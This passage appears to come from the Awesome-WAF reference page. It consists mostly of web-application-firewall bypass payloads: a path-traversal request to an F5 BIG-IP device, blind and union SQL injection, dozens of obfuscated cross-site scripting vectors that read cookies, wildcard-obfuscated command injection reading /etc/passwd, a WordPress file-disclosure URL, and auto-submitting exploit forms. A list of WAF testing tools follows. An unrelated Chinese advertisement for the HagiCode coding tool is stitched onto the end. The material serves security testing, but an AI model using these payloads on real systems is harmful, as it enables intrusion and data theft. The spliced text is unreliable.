Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
<a href="jav%0Dascript&colon;alert(1)">
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
amUserId=1 union select username,password,3,4 from users
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
<a69/onclick=write&lpar;&rpar;>pew
<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>
<svg onload\r\n=$.globalEval("al"+"ert()");>
<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
?"></script><base%20c%3D=href%3Dhttps:\mysite>
<abc/onmouseenter=confirm%60%60>
%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

Turn off Proface Machine

<img src=https://host:2000/ajax.html?action=shutdown>

Add a proxy

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
<a href=javascript&colon;confirm(1)>
/???/??t+/???/??ss??
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
"><input/onauxclick="[1].map(prompt)">
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme
http://host.com/test.asp?file=.%./bla.txt
<a69/onauxclick=open&#40&#41>rightclickhere
  • Bypassing All Protections Using A Whitelist String by @Osanda Malith

    • XSS PoC
    http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request
    • LFI PoC
    http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request
    • SQLi PoC
    http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
<a href=javas&#99;ript:alert(1)>
<a href=&#01javascript:alert(1)>
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
  • Writing method type in lowercase by @i_bo0om
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
  • WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
  • IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.
  • GoTestWAF - A tool to test a WAF’s detection logic and bypasses from @wallarm.
  • Lightbulb Framework - A WAF testing suite written in Python.
  • WAFBench - A WAF performance testing suite by Microsoft.
  • WAF Testing Framework - A WAF testing tool by Imperva.
  • Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
  • WAFtester - A WAF security testing CLI that fingerprints 197+ WAF vendors, benchmarks rule coverage with quantitative scoring (F1/MCC), and automates bypass discovery with 70+ evasion techniques. Supports SARIF, SonarQube, and GitLab SAST output for CI/CD integration.
  • WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.
  • WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.
  • libinjection-fuzzer - A fuzzer intended for finding libinjection bypasses but can be probably used universally.
  • bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.
  • abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
  • SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
  • Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
  • enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
  • WAF Bypass Tool - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads.
  • nowafpls - Burp Plugin to Bypass WAFs through the insertion of Junk Data.
  • impersonate-proxy - A local MITM proxy that spoofs TLS (JA3/JA4), HTTP/2, and header fingerprints per connection to test WAF bot-detection, with a Chrome extension for live profile switching, by @ytkoka.

Many of the content mentioned above have been taken from some of the following excellent writeups.

Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.

HagiCode

HagiCode 是面向项目开发的 AI 编码工作台:丰富、便捷的界面交互让规划、Agent 执行与项目工作更容易上手和跟进,带来更投入的开发体验。

丰富、便捷的界面交互,让规划、Agent 执行与项目工作更容易上手和跟进。

访问 HagiCode阅读文档
  • 智能OpenSpec 工作流把意图转化为从提案、设计、任务到交付的可执行路径。
  • 高效多 Agent 并行推进调研、实现与审阅,并支持多仓库变更和你熟悉的 Agent CLI。
  • 有趣丰富、便捷的界面交互让规划、Agent 执行与项目工作更容易上手和跟进,带来更投入的开发体验。

下载 Windows 版

从 Microsoft Store 获取全部下载

让想法变成真正交付的软件。

HagiCode 是面向项目开发的 AI 编码工作台:用 OpenSpec 工作流规划变更,多 Agent 并行执行,再由 Hero Scenario 让进度一目了然,把想法变成真正交付的软件。

智能
OpenSpec 工作流把意图变成从提案到交付的可执行路径。
高效
多 Agent 并行推进调研、实现与审阅。
有趣
丰富、便捷的界面交互,让规划、Agent 执行和项目工作更容易跟进。

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